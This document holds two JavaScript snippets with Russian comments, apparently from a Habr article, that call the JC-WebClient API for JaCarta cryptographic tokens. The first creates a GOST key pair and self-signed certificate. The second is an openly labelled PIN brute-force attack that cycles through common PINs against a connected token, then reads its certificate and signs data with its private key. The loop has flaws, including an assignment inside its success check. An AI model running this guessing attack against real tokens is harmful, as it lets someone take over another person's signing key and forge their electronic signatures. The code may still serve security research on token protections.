https://localhost:24738/JCWebClient.js
//Инициализация JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient был успешно инициализирован"+" "); //Получаем версию JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write("Версия JCWebClient2 " + vers +" "); //Получаем доступ к слотам и определяем число подключенных токенов var slots = JCWebClient2.getAllSlots(); document.write("Подключено токенов: "+slots.length+" "); //Выводим модель токенов for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write("Токен: "+slot.device.name+" "+slot.device.model+" "); } var tokenID = slot.id, // Идентификатор токена userPin = '111111'; // PIN-код пользователя // Проверить текущее состояние аутентификации на токене // (должно равняться JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); // Предъявить PIN-код JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: userPin } }); // Проверить изменившееся состояние // (должно равняться JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); // Создать контейнер с ключевой парой и присвоить ему имя var keyPairID = JCWebClient2.createKeyPair({ args: { paramSet: "XA", description: "my description", algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 } }); // Задать отличительное имя пользователя (Distinguished Name (DN)), // включающее стандартное имя (Common Name, (CN)) var dn = { 'CN': '123', 'C': 'RU' }; // Задать расширения, определяющие область применения закрытого ключа var exts = { 'keyUsage': 'Digital Signature' }; // Записать сертификат var contID = JCWebClient2.generateUserSelfSignedCertificate({ args: { keyPairID: keyPairID, dn: dn, exts: exts, days: 365 } }); //Массив информации на токенах var list=[]; //Получаем список контейнеров list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); //Получаем id и информацию о созданном контейнере var data = list[0]; var contID = data.id; document.write("ID контейнера: "+data.id+" "); document.write("Описание контейнера: "+data.description+" "); document.write("Алгоритм подписи: "+data.algorithm+" "); // Отменить ввод PIN-кода JCWebClient2.unbindToken();
//Инициализация JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient был успешно инициализирован"+" "); //Получаем версию JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write("Версия JCWebClient2 " + vers +" "); //Получаем доступ к слотам и определяем число подключенных токенов var slots = JCWebClient2.getAllSlots(); document.write("Подключено токенов: "+slots.length+" "); //Выводим модель токенов for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write("Токен: "+slot.device.name+" "+slot.device.model+" "); } // Идентификатор токена var tokenID = slot.id; // Проверить текущее состояние аутентификации на токене // (должно равняться JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //Массив информации на токенах var list=[]; //Получаем список контейнеров list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); //Получаем id и информацию о контейнере var data = list[0]; var contID = data.id; document.write("ID контейнера: "+data.id+" "); document.write("Описание контейнера: "+data.description+" "); document.write("Алгоритм подписи: "+data.algorithm+" "); // Данные для подписи (Hello World закодированное Base64) var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; document.write("Данные для подписи: "+dataToSign+" "); //Массив пин кодов var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"]; //функция авторизации function bind(pass) { JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: pass } }); } var i=0; //Перебор пин кодов в цикле //Осторожно! При 10 неверных попытках токен блокируется!!!!!!!!!! while (i < 10) { i++; try{ bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //Если атака удалась, выводим результат и завершаем цикл if(tokenState.state=1) { document.write("Успешно подобран пин код: "+pin[i]+" "); break; } } //Вывод информации об ошибке catch(e){document.write(e+" ");} } // Проверить изменившееся состояние // (должно равняться JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //Получаем содерижимое сертификата var CertificateBody=JCWebClient2.getCertificateBody({ args: { id: contID } }); document.write("CertificateBody: "+CertificateBody+" "); // Подписать данные, используя программное хэширование и вывести подписанное в Base64 var signedData = JCWebClient2.signBase64EncodedData({ args: { contID: contID, data: dataToSign, attachedSignature: true } }); document.write("Подписано успешно. "); document.write("Подписанные данные: "+signedData+" "); //Проверка подписи var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData({ args: { signature: signature } }); document.write("Результат проверки подписи: "+res+" "); // Отменить ввод PIN-кода JCWebClient2.unbindToken();
Source: https://habr.com/ru/post/439790/